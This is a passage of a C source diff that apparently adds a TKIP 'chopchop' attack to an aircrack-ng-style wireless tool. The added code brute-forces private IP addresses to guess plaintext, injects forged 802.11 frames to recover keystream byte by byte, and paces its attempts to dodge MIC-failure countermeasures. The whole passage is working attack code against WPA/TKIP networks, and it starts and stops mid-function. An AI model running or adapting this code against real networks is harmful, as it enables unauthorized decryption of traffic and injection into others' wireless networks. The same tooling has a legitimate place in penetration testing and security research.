+					pdip[0] = 172;
+					pdip[1] = 16;
+					pdip[2] = j;
+					pdip[3] = l;
+
+					if (check_guess(srcbuf,
+									chopped,
+									caplen,
+									clearlen,
+									arp,
+									dmac)) // got correct guess
+						return (0);
+				}
+			}
+		}
+	}
+
+	if (caplen - z - 8 - clearlen == 35)
+	{
+		printf("Checking 192.168.x.y\n");
+		/* check 192.168.i.1-254 */
+		for (i = 0; i < 256; i++)
+		{
+			for (j = 1; j < 255; j++)
+			{
+				psip[0] = 192;
+				psip[1] = 168;
+				psip[2] = i;
+				psip[3] = j;
+
+				pdip[0] = 192;
+				pdip[1] = 168;
+				pdip[2] = i;
+
+				if (check_guess(srcbuf,
+								chopped,
+								caplen,
+								clearlen,
+								arp,
+								dmac)) // got correct guess
+					return (0);
+			}
+		}
+
+		printf("Checking 10.0.y.z\n");
+		/* check 10.i.j.1-254 */
+		for (i = 0; i < 256; i++)
+		{
+			for (j = 0; j < 256; j++)
+			{
+				for (k = 1; k < 255; k++)
+				{
+					psip[0] = 10;
+					psip[1] = i;
+					psip[2] = j;
+					psip[3] = k;
+
+					pdip[0] = 10;
+					pdip[1] = i;
+					pdip[2] = j;
+
+					if (check_guess(srcbuf,
+									chopped,
+									caplen,
+									clearlen,
+									arp,
+									dmac)) // got correct guess
+						return (0);
+				}
+			}
+		}
+
+		printf("Checking 172.16-31.y.z\n");
+		/* check 172.16-31.j.1-254 */
+		for (i = 16; i < 32; i++)
+		{
+			for (j = 0; j < 256; j++)
+			{
+				for (k = 1; k < 255; k++)
+				{
+					psip[0] = 172;
+					psip[1] = i;
+					psip[2] = j;
+					psip[3] = k;
+
+					pdip[0] = 172;
+					pdip[1] = i;
+					pdip[2] = j;
+
+					if (check_guess(srcbuf,
+									chopped,
+									caplen,
+									clearlen,
+									arp,
+									dmac)) // got correct guess
+						return (0);
+				}
+			}
+		}
+	}
+
+	if (caplen - z - 8 - clearlen == 34)
+	{
+		printf("Checking 192.168.x.y\n");
+		/* check 192.168.i.1-254 */
+		for (i = 0; i < 256; i++)
+		{
+			for (j = 1; j < 255; j++)
+			{
+				psip[0] = 192;
+				psip[1] = 168;
+				psip[2] = i;
+				psip[3] = j;
+
+				pdip[0] = 192;
+				pdip[1] = 168;
+
+				if (check_guess(srcbuf,
+								chopped,
+								caplen,
+								clearlen,
+								arp,
+								dmac)) // got correct guess
+					return (0);
+			}
+		}
+
+		printf("Checking 10.x.y.z\n");
+		/* check 10.i.j.1-254 */
+		for (i = 0; i < 256; i++)
+		{
+			for (j = 0; j < 256; j++)
+			{
+				for (k = 1; k < 255; k++)
+				{
+					psip[0] = 10;
+					psip[1] = i;
+					psip[2] = j;
+					psip[3] = k;
+
+					pdip[0] = 10;
+					pdip[1] = i;
+
+					if (check_guess(srcbuf,
+									chopped,
+									caplen,
+									clearlen,
+									arp,
+									dmac)) // got correct guess
+						return (0);
+				}
+			}
+		}
+
+		printf("Checking 172.16-31.y.z\n");
+		/* check 172.16-31.j.1-254 */
+		for (i = 16; i < 32; i++)
+		{
+			for (j = 0; j < 256; j++)
+			{
+				for (k = 1; k < 255; k++)
+				{
+					psip[0] = 172;
+					psip[1] = i;
+					psip[2] = j;
+					psip[3] = k;
+
+					pdip[0] = 172;
+					pdip[1] = i;
+
+					if (check_guess(srcbuf,
+									chopped,
+									caplen,
+									clearlen,
+									arp,
+									dmac)) // got correct guess
+						return (0);
+				}
+			}
+		}
+	}
+
+	if (caplen - z - 8 - clearlen <= 33 && caplen - z - 8 - clearlen >= 26)
+	{
+		printf("Checking 192.168.x.y\n");
+		/* check 192.168.i.1-254 */
+		if ((srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) == 168)
+		{
+			for (i = 0; i < 256; i++)
+			{
+				for (j = 1; j < 255; j++)
+				{
+					psip[0] = 192;
+					psip[1] = 168;
+					psip[2] = i;
+					psip[3] = j;
+
+					pdip[0] = 192;
+
+					if (check_guess(srcbuf,
+									chopped,
+									caplen,
+									clearlen,
+									arp,
+									dmac)) // got correct guess
+						return (0);
+				}
+			}
+		}
+
+		if ((srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) >= 16
+			&& (srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) < 32)
+		{
+			printf("Checking 172.16-31.y.z\n");
+			/* check 172.16-31.j.1-254 */
+			for (i = 16; i < 32; i++)
+			{
+				for (j = 0; j < 256; j++)
+				{
+					for (k = 1; k < 255; k++)
+					{
+						psip[0] = 172;
+						psip[1] = i;
+						psip[2] = j;
+						psip[3] = k;
+
+						pdip[0] = 172;
+
+						if (check_guess(srcbuf,
+										chopped,
+										caplen,
+										clearlen,
+										arp,
+										dmac)) // got correct guess
+							return (0);
+					}
+				}
+			}
+		}
+
+		printf("Checking 10.x.y.z\n");
+		/* check 10.i.j.1-254 */
+		for (i = 0; i < 256; i++)
+		{
+			for (j = 0; j < 256; j++)
+			{
+				for (k = 1; k < 255; k++)
+				{
+					psip[0] = 10;
+					psip[1] = i;
+					psip[2] = j;
+					psip[3] = k;
+
+					pdip[0] = 10;
+
+					if (check_guess(srcbuf,
+									chopped,
+									caplen,
+									clearlen,
+									arp,
+									dmac)) // got correct guess
+						return (0);
+				}
+			}
+		}
+	}
+
+	if (caplen - z - 8 - clearlen == 25)
+	{
+		printf("Checking 192.168.x.y\n");
+		/* check 192.168.i.1-254 */
+		if ((srcbuf[z + 8 + 32] ^ chopped[z + 8 + 32]) == 192
+			&& (srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) == 168)
+		{
+			for (i = 0; i < 256; i++)
+			{
+				psip[0] = 192;
+				psip[1] = 168;
+				psip[2] = i;
+
+				if (check_guess(srcbuf,
+								chopped,
+								caplen,
+								clearlen,
+								arp,
+								dmac)) // got correct guess
+					return (0);
+			}
+		}
+
+		if ((srcbuf[z + 8 + 32] ^ chopped[z + 8 + 32]) == 172
+			&& (srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) >= 16
+			&& (srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) < 32)
+		{
+			printf("Checking 172.16-31.y.z\n");
+			/* check 172.16-31.j.1-254 */
+			for (i = 16; i < 32; i++)
+			{
+				for (j = 0; j < 256; j++)
+				{
+					psip[0] = 172;
+					psip[1] = i;
+					psip[2] = j;
+
+					if (check_guess(srcbuf,
+									chopped,
+									caplen,
+									clearlen,
+									arp,
+									dmac)) // got correct guess
+						return (0);
+				}
+			}
+		}
+
+		printf("Checking 10.x.y.z\n");
+		/* check 10.i.j.1-254 */
+		for (i = 0; i < 256; i++)
+		{
+			for (j = 0; j < 256; j++)
+			{
+				psip[0] = 10;
+				psip[1] = i;
+				psip[2] = j;
+
+				if (check_guess(srcbuf,
+								chopped,
+								caplen,
+								clearlen,
+								arp,
+								dmac)) // got correct guess
+					return (0);
+			}
+		}
+	}
+
+	if (caplen - z - 8 - clearlen == 24)
+	{
+		printf("Checking 192.168.x.y\n");
+		/* check 192.168.i.1-254 */
+		if ((srcbuf[z + 8 + 32] ^ chopped[z + 8 + 32]) == 192
+			&& (srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) == 168)
+		{
+			psip[0] = 192;
+			psip[1] = 168;
+
+			if (check_guess(srcbuf,
+							chopped,
+							caplen,
+							clearlen,
+							arp,
+							dmac)) // got correct guess
+				return (0);
+		}
+
+		if ((srcbuf[z + 8 + 32] ^ chopped[z + 8 + 32]) == 172
+			&& (srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) >= 16
+			&& (srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) < 32)
+		{
+			printf("Checking 172.16-31.y.z\n");
+			/* check 172.16-31.j.1-254 */
+			for (i = 16; i < 32; i++)
+			{
+				psip[0] = 172;
+				psip[1] = i;
+
+				if (check_guess(srcbuf,
+								chopped,
+								caplen,
+								clearlen,
+								arp,
+								dmac)) // got correct guess
+					return (0);
+			}
+		}
+
+		printf("Checking 10.x.y.z\n");
+		/* check 10.i.j.1-254 */
+		for (i = 0; i < 256; i++)
+		{
+			psip[0] = 10;
+			psip[1] = i;
+
+			if (check_guess(srcbuf,
+							chopped,
+							caplen,
+							clearlen,
+							arp,
+							dmac)) // got correct guess
+				return (0);
+		}
+	}
+
+	if (caplen - z - 8 - clearlen <= 23)
+	{
+		printf("Checking 192.168.x.y\n");
+		/* check 192.168.i.1-254 */
+		if ((srcbuf[z + 8 + 32] ^ chopped[z + 8 + 32]) == 192
+			&& (srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) == 168)
+		{
+			psip[0] = 192;
+
+			if (check_guess(srcbuf,
+							chopped,
+							caplen,
+							clearlen,
+							arp,
+							dmac)) // got correct guess
+				return (0);
+		}
+
+		if ((srcbuf[z + 8 + 32] ^ chopped[z + 8 + 32]) == 172
+			&& (srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) >= 16
+			&& (srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) < 32)
+		{
+			printf("Checking 172.16-31.y.z\n");
+			/* check 172.16-31.j.1-254 */
+			psip[0] = 172;
+
+			if (check_guess(srcbuf,
+							chopped,
+							caplen,
+							clearlen,
+							arp,
+							dmac)) // got correct guess
+				return (0);
+		}
+
+		printf("Checking 10.x.y.z\n");
+		/* check 10.i.j.1-254 */
+		psip[0] = 10;
+
+		if (check_guess(srcbuf,
+						chopped,
+						caplen,
+						clearlen,
+						arp,
+						dmac)) // got correct guess
+			return (0);
+	}
+
+	if (caplen - z - 8 - clearlen <= 32)
+	{
+		for (i = 0; i < 256; i++)
+		{
+			for (j = 1; j < 255; j++)
+			{
+				psip[0] = srcbuf[z + 8 + 32] ^ chopped[z + 8 + 32];
+				psip[1] = srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33];
+				psip[2] = i;
+				psip[3] = j;
+
+				if (check_guess(srcbuf,
+								chopped,
+								caplen,
+								clearlen,
+								arp,
+								dmac)) // got correct guess
+					return (0);
+			}
+		}
+	}
+
+	return (1);
+}
+
+static int do_attack_tkipchop(unsigned char * src_packet, int src_packet_len)
+{
+	REQUIRE(src_packet != NULL);
+
+	float f, ticks[4];
+	int i, j, n, z, caplen, srcz, srclen;
+	int data_start, data_end, srcdiff, diff;
+	int guess, is_deauth_mode;
+	int nb_bad_pkt;
+	int tried_header_rec = 0;
+	int tries = 0;
+	int keystream_len = 0;
+	int settle = 0;
+
+	unsigned char b1 = 0xAA;
+	unsigned char b2 = 0xAA;
+
+	unsigned char mic[8];
+	unsigned char smac[6], dmac[6], bssid[6];
+	unsigned char rc4key[16], keystream[4096];
+
+	FILE * f_cap_out;
+	long nb_pkt_read;
+	unsigned long crc_mask;
+	unsigned char * chopped;
+
+	unsigned char packet[4096];
+
+	time_t tt;
+	struct tm * lt;
+	struct timeval tv;
+	struct timeval tv2;
+	struct timeval mic_fail;
+	struct pcap_file_header pfh_out;
+	struct pcap_pkthdr pkh;
+
+	rand_init();
+
+	memcpy(h80211, src_packet, src_packet_len);
+	caplen = src_packet_len;
+	if ((h80211[1] & 3) == 1)
+	{
+		h80211[1] += 1;
+
+		memcpy(bssid, srcbuf + 4, 6);
+		memcpy(dmac, srcbuf + 16, 6);
+		memcpy(smac, srcbuf + 10, 6);
+
+		memcpy(srcbuf + 10, bssid, 6);
+		memcpy(srcbuf + 4, dmac, 6);
+		memcpy(srcbuf + 16, smac, 6);
+	}
+
+	z = ((h80211[1] & 3) != 3) ? 24 : 30;
+	if ((h80211[0] & 0x80) == 0x80) /* QoS */
+		z += 2;
+	srcz = z;
+
+	if ((unsigned) caplen > sizeof(srcbuf)
+		|| (unsigned) caplen > sizeof(h80211))
+		return (1);
+
+	/* Special handling for spanning-tree packets */
+	if (memcmp(h80211 + 4, SPANTREE, 6) == 0
+		|| memcmp(h80211 + 16, SPANTREE, 6) == 0)
+	{
+		b1 = 0x42;
+		b2 = 0x42;
+	}
+
+	printf("\n");
+
+	/* chopchop operation mode: truncate and decrypt the packet */
+	/* we assume the plaintext starts with  AA AA 03 00 00 00   */
+	/* (42 42 03 00 00 00 for spanning-tree packets)            */
+
+	memcpy(srcbuf, h80211, caplen);
+
+	/* debug: generate the keystream */
+	if (lopt.got_ptk)
+	{
+		calc_tkip_ppk(srcbuf, caplen, lopt.wpa_sta.ptk + 32, rc4key);
+		PCT;
+		printf("Per Packet Key: ");
+		for (i = 0; i < 15; i++) printf("%02X:", rc4key[i]);
+		printf("%02X\n", rc4key[15]);
+
+		memset(keystream, 0, 4096);
+
+		keystream_len = caplen - z - 8;
+		encrypt_wep(keystream, keystream_len, rc4key, 16);
+
+		PCT;
+		printf("Keystream length: %i, Keystream:\n", keystream_len);
+		for (i = 0; i < keystream_len - 1; i++) printf("%02X:", keystream[i]);
+		printf("%02X\n", keystream[keystream_len - 1]);
+
+		memcpy(packet, srcbuf, caplen);
+		PCT;
+		printf("Decrypt: %i\n",
+			   decrypt_wep(packet + z + 8, caplen - z - 8, rc4key, 16));
+		PCT;
+		printf("Keystream 2:\n");
+		for (i = 0; i < keystream_len - 1; i++)
+			printf("%02X:", packet[z + 8 + i] ^ srcbuf[z + 8 + i]);
+		printf("%02X\n",
+			   packet[z + 8 + keystream_len - 1]
+				   ^ srcbuf[z + 8 + keystream_len - 1]);
+
+		lopt.oldkeystreamlen = keystream_len - 37;
+		for (i = 0; i < lopt.oldkeystreamlen; i++)
+			lopt.oldkeystream[i] = keystream[keystream_len - 1 - i];
+	}
+
+	/* setup the chopping buffer */
+
+	n = caplen;
+
+	switch (srcbuf[1] & 3)
+	{
+		case 0:
+			memcpy(bssid, srcbuf + 16, 6);
+			memcpy(dmac, srcbuf + 4, 6);
+			memcpy(smac, srcbuf + 10, 6);
+			break;
+		case 1:
+			memcpy(bssid, srcbuf + 4, 6);
+			memcpy(dmac, srcbuf + 16, 6);
+			memcpy(smac, srcbuf + 10, 6);
+			break;
+		case 2:
+			memcpy(bssid, srcbuf + 10, 6);
+			memcpy(dmac, srcbuf + 4, 6);
+			memcpy(smac, srcbuf + 16, 6);
+			break;
+		default:
+			memcpy(bssid, srcbuf + 10, 6);
+			memcpy(dmac, srcbuf + 16, 6);
+			memcpy(smac, srcbuf + 24, 6);
+			break;
+	}
+
+	if ((chopped = (unsigned char *) malloc(n)) == NULL)
+	{
+		perror("malloc failed");
+		return (1);
+	}
+
+	memset(chopped, 0, n);
+
+	memcpy(chopped, h80211, n);
+
+	data_start = 26 + 8;
+	srclen = data_end = n;
+	srcdiff = z - 24;
+
+	chopped[24] ^= 0x01;
+	chopped[25] = 0x00;
+
+	/* setup the xor mask to hide the original data */
+
+	crc_mask = 0;
+
+	for (i = data_start; i < data_end - 4; i++)
+	{
+		switch (i - data_start)
+		{
+			case 0:
+				chopped[i] = b1 ^ 0xE0;
+				break;
+			case 1:
+				chopped[i] = b2 ^ 0xE0;
+				break;
+			case 2:
+				chopped[i] = 0x03 ^ 0x03;
+				break;
+			default:
+				chopped[i] = 0x55 ^ (i & 0xFF);
+				break;
+		}
+
+		crc_mask = crc_tbl[crc_mask & 0xFF] ^ (crc_mask >> 8UL)
+				   ^ ((unsigned long) chopped[i] << 24UL);
+	}
+
+	for (i = 0; i < 4; i++)
+		crc_mask = crc_tbl[crc_mask & 0xFF] ^ (crc_mask >> 8UL);
+
+	chopped[data_end - 4] = crc_mask;
+	crc_mask >>= 8;
+	chopped[data_end - 3] = crc_mask;
+	crc_mask >>= 8;
+	chopped[data_end - 2] = crc_mask;
+	crc_mask >>= 8;
+	chopped[data_end - 1] = crc_mask;
+	crc_mask >>= 8;
+
+	for (i = data_start; i < data_end; i++) chopped[i] ^= srcbuf[i];
+
+	data_start += 6; /* skip the SNAP header */
+
+	is_deauth_mode = 0;
+
+	/* chop down old/known keystreambytes */
+	for (i = 0; i < lopt.oldkeystreamlen; i++)
+	{
+		guess = (lopt.oldkeystream[i] ^ chopped[data_end - 1]) % 256;
+
+		n = caplen - data_start;
+
+		chopped[data_end - 1] ^= guess;
+		chopped[data_end - 2] ^= crc_chop_tbl[guess][3];
+		chopped[data_end - 3] ^= crc_chop_tbl[guess][2];
+		chopped[data_end - 4] ^= crc_chop_tbl[guess][1];
+		chopped[data_end - 5] ^= crc_chop_tbl[guess][0];
+
+		printf("\rOffset %4d (%2d%% done) | xor = %02X | pt = %02X\n",
+			   data_end - 1,
+			   100 * (caplen - data_end) / n,
+			   chopped[data_end - 1],
+			   chopped[data_end - 1] ^ srcbuf[data_end - 1]);
+
+		data_end--;
+	}
+
+	/* let's go chopping */
+
+	memset(ticks, 0, sizeof(ticks));
+
+	nb_pkt_read = 0;
+	nb_pkt_sent = 0;
+	nb_bad_pkt = 0;
+	guess = 256;
+
+	tt = time(NULL);
+
+	if (opt.port_in <= 0)
+	{
+		if (fcntl(dev.fd_in, F_SETFL, O_NONBLOCK) < 0)
+		{
+			perror("fcntl(O_NONBLOCK) failed");
+			free(chopped);
+			return (1);
+		}
+	}
+
+	while (data_end > data_start)
+	{
+		if (alarmed)
+		{
+			printf("\n\n"
+				   "The chopchop attack appears to have failed. Possible "
+				   "reasons:\n"
+				   "\n"
+				   "    * You're trying to inject with an unsupported chipset "
+				   "(Centrino?).\n"
+				   "    * The driver source wasn't properly patched for "
+				   "injection support.\n"
+				   "    * You are too far from the AP. Get closer or reduce "
+				   "the send rate.\n"
+				   "    * Target is 802.11g only but you are using a Prism2 or "
+				   "RTL8180.\n"
+				   "    * The wireless interface isn't setup on the correct "
+				   "channel.\n");
+			if (is_deauth_mode)
+				printf("    * The AP isn't vulnerable when operating in "
+					   "non-authenticated mode.\n"
+					   "      Run aireplay-ng in authenticated mode instead "
+					   "(-h option).\n\n");
+			else
+				printf("    * The client MAC you have specified is not "
+					   "currently authenticated.\n"
+					   "      Try running another aireplay-ng to fake "
+					   "authentication (attack \"-1\").\n"
+					   "    * The AP isn't vulnerable when operating in "
+					   "authenticated mode.\n"
+					   "      Try aireplay-ng in non-authenticated mode "
+					   "instead (no -h option).\n\n");
+			free(chopped);
+			return (1);
+		}
+
+		/* wait for the next timer interrupt, or sleep */
+
+		if ((nb_pkt_sent > 0) && (nb_pkt_sent % 256 == 0) && settle == 0)
+		{
+			printf("\rLooks like mic failure report was not detected."
+				   "Waiting %i seconds before trying again to avoid "
+				   "the AP shutting down.\n",
+				   lopt.mic_failure_interval);
+			fflush(stdout);
+			settle = 1;
+			sleep(lopt.mic_failure_interval);
+		}
+
+		if (dev.fd_rtc >= 0)
+		{
+			if (read(dev.fd_rtc, &n, sizeof(n)) < 0)
+			{
+				perror("\nread(/dev/rtc) failed");
+				free(chopped);
+				return (1);
+			}
+
+			ticks[0]++; /* ticks since we entered the while loop     */
+			ticks[1]++; /* ticks since the last status line update   */
+			ticks[2]++; /* ticks since the last frame was sent       */
+			ticks[3]++; /* ticks since started chopping current byte */
+		}
+		else
+		{
+			/* we can't trust usleep, since it depends on the HZ */
+
+			gettimeofday(&tv, NULL);
+			usleep(976);
+			gettimeofday(&tv2, NULL);
+
+			f = 1000000 * (float) (tv2.tv_sec - tv.tv_sec)
+				+ (float) (tv2.tv_usec - tv.tv_usec);
+
+			ticks[0] += f / 976;
+			ticks[1] += f / 976;
+			ticks[2] += f / 976;
+			ticks[3] += f / 976;
+		}
+
+		/* update the status line */
+
+		if (ticks[1] > ((float) RTC_RESOLUTION / 10.f))
+		{
+			ticks[1] = 0;
+			printf("\rSent %3lu packets, current guess: %02X...",
+				   nb_pkt_sent,
+				   guess);
+			fflush(stdout);
+			erase_line(0);
+		}
+
+		if (data_end < 47 && tries > 512)
+		{
+		header_rec:
+
+			printf("\n\nThe AP appears to drop packets shorter "
+				   "than %d bytes.\n",
+				   data_end);
+
+			data_end = 46;
+
+			z = ((h80211[1] & 3) != 3) ? 24 : 30;
+			if ((h80211[0] & 0x80) == 0x80) /* QoS */
+				z += 2;
+
+			diff = z - 24;
+
+			if ((chopped[data_end + 0] ^ srcbuf[data_end + 0]) == 0x06
+				&& (chopped[data_end + 1] ^ srcbuf[data_end + 1]) == 0x04
+				&& (chopped[data_end + 2] ^ srcbuf[data_end + 2]) == 0x00)
+			{
+				printf("Enabling standard workaround: "
+					   "ARP header re-creation.\n");
+
+				chopped[26 + 8 + 6] = srcbuf[26 + 8 + 6] ^ 0x08; //-V525
+				chopped[26 + 8 + 7] = srcbuf[26 + 8 + 7] ^ 0x06;
+				chopped[26 + 8 + 8] = srcbuf[26 + 8 + 8] ^ 0x00;
+				chopped[26 + 8 + 9] = srcbuf[26 + 8 + 9] ^ 0x01;
+				chopped[26 + 8 + 10] = srcbuf[26 + 8 + 10] ^ 0x08;
+				chopped[26 + 8 + 11] = srcbuf[26 + 8 + 11] ^ 0x00;
+			}
+			else
+			{
+				printf("Enabling standard workaround: "
+					   " IP header re-creation.\n");
+
+				n = caplen - (z + 16);
+
+				chopped[26 + 8 + 0] = srcbuf[26 + 8 + 0] ^ 0xAA;
+				chopped[26 + 8 + 1] = srcbuf[26 + 8 + 1] ^ 0xAA;
+				chopped[26 + 8 + 2] = srcbuf[26 + 8 + 2] ^ 0x03;
+				chopped[26 + 8 + 3] = srcbuf[26 + 8 + 3] ^ 0x00;
+				chopped[26 + 8 + 4] = srcbuf[26 + 8 + 4] ^ 0x00;
+				chopped[26 + 8 + 5] = srcbuf[26 + 8 + 5] ^ 0x00;
+				chopped[26 + 8 + 6] = srcbuf[26 + 8 + 6] ^ 0x08;
+				chopped[26 + 8 + 7] = srcbuf[26 + 8 + 7] ^ 0x00;
+				chopped[26 + 8 + 8] = srcbuf[26 + 8 + 8] ^ (n >> 8);
+				chopped[26 + 8 + 9] = srcbuf[26 + 8 + 9] ^ (n & 0xFF);
+
+				memcpy(h80211, srcbuf, caplen);
+
+				for (i = 26 + 8; i < (int) caplen; i++)
+					h80211[i - 8] = h80211[i] ^ chopped[i];
+
+				/* sometimes the header length or the tos field vary */
+
+				for (i = 0; i < 16; i++)
+				{
+					h80211[26 + 8] = 0x40 + i;
+					chopped[26 + 8 + 8] = srcbuf[26 + 8 + 8] ^ (0x40 + i);
+
+					for (j = 0; j < 256; j++)
+					{
+						h80211[26 + 9] = j;
+						chopped[26 + 13] = srcbuf[26 + 8 + 9] ^ j;
+
+						if (check_crc_buf(h80211 + 26, caplen - 26 - 8 - 4))
+							goto have_crc_match;
+					}
+				}
+
+				printf("This doesn't look like an IP packet, "
+					   "try another one.\n");
+			}
+
+		have_crc_match:
+			break;
+		}
+
+		if ((ticks[2] * opt.r_nbpps) / RTC_RESOLUTION >= 1)
+		{
+			/* send one modified frame */
+
+			ticks[2] = 0;
+
+			memcpy(h80211, chopped, data_end - 1);
+
+			/* note: guess 256 is special, it tests if the  *
+			 * AP properly drops frames with an invalid ICV *
+			 * so this guess always has its bit 8 set to 0  */
+
+			if (is_deauth_mode)
+			{
+				opt.r_smac[1] |= (guess < 256);
+				opt.r_smac[5] = guess & 0xFF;
+			}
+			else
+			{
+				opt.r_dmac[1] |= (guess < 256);
+				opt.r_dmac[5] = guess & 0xFF;
+			}
+
+			if (guess < 256)
+			{
+				h80211[data_end - 2] ^= crc_chop_tbl[guess][3];
+				h80211[data_end - 3] ^= crc_chop_tbl[guess][2];
+				h80211[data_end - 4] ^= crc_chop_tbl[guess][1];
+				h80211[data_end - 5] ^= crc_chop_tbl[guess][0];
+			}
+
+			errno = 0;
+
+			if (send_packet(_wi_out, h80211, (size_t) data_end - 1, kNoChange)
+				!= 0)
+			{
+				free(chopped);
+				return (1);
+			}
+
+			if (errno != EAGAIN)
+			{
+				guess++;
+
+				if (guess > 256)
+					guess = 0;
+				else
+					tries++;
+
+				settle = 0;
+			}
+
+			if (tries > 768 && data_end < srclen)
+			{
+				// go back one step and validate the last chopped byte
+				tries = 0;
+
+				data_end++;
+
+				guess = chopped[data_end - 1] ^ srcbuf[data_end - 1];
+
+				chopped[data_end - 1] ^= guess;
+				chopped[data_end - 2] ^= crc_chop_tbl[guess][3];
+				chopped[data_end - 3] ^= crc_chop_tbl[guess][2];
+				chopped[data_end - 4] ^= crc_chop_tbl[guess][1];
+				chopped[data_end - 5] ^= crc_chop_tbl[guess][0];
+
+				ticks[3] = 0;
+				nb_pkt_sent = 0;
+				nb_bad_pkt = 0;
+				guess = 256;
+
+				PCT;
+				printf("\nMoved one step backwards to chop the last byte "
+					   "again.\n");
+				continue;
+			}
+		}
+
+		/* watch for a response from the AP */
+
+		n = read_packet(_wi_in, h80211, sizeof(h80211), NULL);
+
+		if (n < 0)
+		{
+			free(chopped);
+			return (1);
+		}
+		if (n == 0) continue;
+
+		nb_pkt_read++;
+
+		/* check if it's a deauth packet */
+
+		if (h80211[0] == 0xA0 || h80211[0] == 0xC0)
+		{
+			if (memcmp(h80211 + 4, opt.r_smac, 6) == 0)
+			{
+				nb_bad_pkt++;
+
+				if (nb_bad_pkt > 2)
+				{
+					printf(
+						"\n\nFailure: got several deauthentication packets "
+						"from the AP - you need to start the whole process "
+						"all over again, as the client got disconnected.\n\n");
+					free(chopped);
+					return (1);
+				}
+
+				continue;
+			}
+
+			if (h80211[4] != opt.r_smac[0]) continue;
+			if (h80211[6] != opt.r_smac[2]) continue;
+			if (h80211[7] != opt.r_smac[3]) continue;
+			if (h80211[8] != opt.r_smac[4]) continue;
+
+			if (data_end < 41) goto header_rec;
+
+			printf("\n\nFailure: the access point does not properly "
+				   "discard frames with an\ninvalid ICV - try running "
+				   "aireplay-ng in authenticated mode (-h) instead.\n\n");
+			free(chopped);
+			return (1);
+		}
+		else
+		{
+			/* check if it's a WEP data packet */
+
+			if ((h80211[0] & 0x0C) != 8) continue; // must be a data packet
+			if ((h80211[0] & 0x70) != 0) continue;
+			//             if( ( h80211[1] & 0x03 ) != 2 ) continue;
+			if ((h80211[1] & 0x40) == 0) continue;
+
+			/* get header length right */
+			z = ((h80211[1] & 3) != 3) ? 24 : 30;
+			if ((h80211[0] & 0x80) == 0x80) /* QoS */
+				z += 2;
+
+			/* check the extended IV (TKIP) flag */
+			if ((h80211[z + 3] & 0x20) == 0) continue;
+
+			/* check length (153)!? */
+			if (z + 127 != n)
+				continue; //(153[26+127] bytes for eapol mic failure in tkip qos
+			// frames from client to AP)
+
+			// direction must be inverted.
+			if (((h80211[1] & 3) ^ (srcbuf[1] & 3)) != 0x03) continue;
+
+			// check correct macs
+			switch (h80211[1] & 3)
+			{
+				case 1:
+					if (memcmp(bssid, h80211 + 4, 6) != 0
+						&& memcmp(dmac, h80211 + 10, 6) != 0
+						&& memcmp(bssid, h80211 + 16, 6) != 0)
+						continue;
+					break;
+				case 2:
+					if (memcmp(smac, h80211 + 4, 6) != 0
+						&& memcmp(bssid, h80211 + 10, 6) != 0
+						&& memcmp(bssid, h80211 + 16, 6) != 0)
+						continue;
+					break;
+				default:
+					continue;
+					break;
+			}
+
+			if (nb_pkt_sent < 1) continue;
+		}
+
+		/* we have a winner */
+
+		tries = 0;
+		settle = 0;
+		guess = (guess - 1) % 256;
+
+		chopped[data_end - 1] ^= guess;
+		chopped[data_end - 2] ^= crc_chop_tbl[guess][3];
+		chopped[data_end - 3] ^= crc_chop_tbl[guess][2];
+		chopped[data_end - 4] ^= crc_chop_tbl[guess][1];
+		chopped[data_end - 5] ^= crc_chop_tbl[guess][0];
+
+		n = caplen - data_start;
+
+		printf("\r");
+		PCT;
+		printf("Offset %4d (%2d%% done) | xor = %02X | pt = %02X | "
+			   "%4lu frames written in %5.0fms\n",
+			   data_end - 1,
+			   100 * (caplen - data_end) / n,
+			   chopped[data_end - 1],
+			   chopped[data_end - 1] ^ srcbuf[data_end - 1],
+			   nb_pkt_sent,
+			   ticks[3]);
+
+		if (is_deauth_mode)
+		{
+			opt.r_smac[1] = rand_u8() & 0x3E;
+			opt.r_smac[2] = rand_u8();
+			opt.r_smac[3] = rand_u8();
+			opt.r_smac[4] = rand_u8();
+		}
+		else
+		{
+			opt.r_dmac[1] = rand_u8() & 0xFE;
+			opt.r_dmac[2] = rand_u8();
+			opt.r_dmac[3] = rand_u8();
+			opt.r_dmac[4] = rand_u8();
+		}
+
+		ticks[3] = 0;
+		nb_pkt_sent = 0;
+		nb_bad_pkt = 0;
+		guess = 256;
+
+		data_end--;
+
+		gettimeofday(&lopt.last_mic_failure, NULL);
+		PCT;
+		printf("\rSleeping for %i seconds.", lopt.mic_failure_interval);
+		fflush(stdout);
+
+		if (guess_packet(srcbuf, chopped, caplen, caplen - data_end)
+			== 0) // found correct packet :)
+			break;
+
+		while (1)
+		{
+			gettimeofday(&mic_fail, NULL);
+			if ((mic_fail.tv_sec - lopt.last_mic_failure.tv_sec) * 1000000
+					+ (mic_fail.tv_usec - lopt.last_mic_failure.tv_usec)
+				> lopt.mic_failure_interval * 1000000)
+				break;
+			sleep(1);
+		}
+
+		alarm(0);
+	}
+
+	/* reveal the plaintext (chopped contains the prga) */
+
+	memcpy(h80211, srcbuf, caplen);
+
+	z = ((h80211[1] & 3) != 3) ? 24 : 30;
+	if ((h80211[0] & 0x80) == 0x80) /* QoS */
+		z += 2;
+	diff = z - 24;
+
+	chopped[26 + 8 + 0] = srcbuf[26 + 8 + 0] ^ b1;
+	chopped[26 + 8 + 1] = srcbuf[26 + 8 + 1] ^ b2;
+	chopped[26 + 8 + 2] = srcbuf[26 + 8 + 2] ^ 0x03;
+	chopped[26 + 8 + 3] = srcbuf[26 + 8 + 3] ^ 0x00;
+	chopped[26 + 8 + 4] = srcbuf[26 + 8 + 4] ^ 0x00;
+	chopped[26 + 8 + 5] = srcbuf[26 + 8 + 5] ^ 0x00;
+
+	for (i = 26 + 8; i < (int) caplen; i++)
+		h80211[i - 8] = h80211[i] ^ chopped[i];
+
+	if (!check_crc_buf(h80211 + 26, caplen - 26 - 8 - 4))
+	{
+		if (!tried_header_rec)
+		{
